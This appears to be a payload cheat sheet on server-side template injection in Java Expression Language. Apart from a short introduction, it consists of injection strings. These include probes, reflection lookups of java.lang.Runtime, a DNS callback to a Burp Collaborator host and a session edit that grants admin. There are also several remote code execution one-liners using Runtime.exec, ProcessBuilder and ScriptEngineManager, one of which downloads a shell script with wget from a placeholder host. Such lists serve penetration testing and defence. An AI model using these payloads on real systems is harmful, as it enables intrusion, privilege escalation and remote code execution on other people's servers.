Server Side Template Injection - Expression Language

Summary

Expression Language EL

Official website

Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0

Expression Language EL - Basic injection

${<property>}
${1+1}

#{<expression string>}
#{1+1}

T(<javaclass>)

Expression Language EL - Properties

  • Interesting properties to access String, java.lang.Runtime
${2.class}
${2.class.forName("java.lang.String")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

Expression Language EL - One-Liner injections not including code execution

// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}

// Modify session attributes
${pageContext.request.getSession().setAttribute("admin",true)}

Expression Language EL - Code Execution

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using process builder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using JavaClass
T(java.lang.Runtime).getRuntime().exec('whoami').x

// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
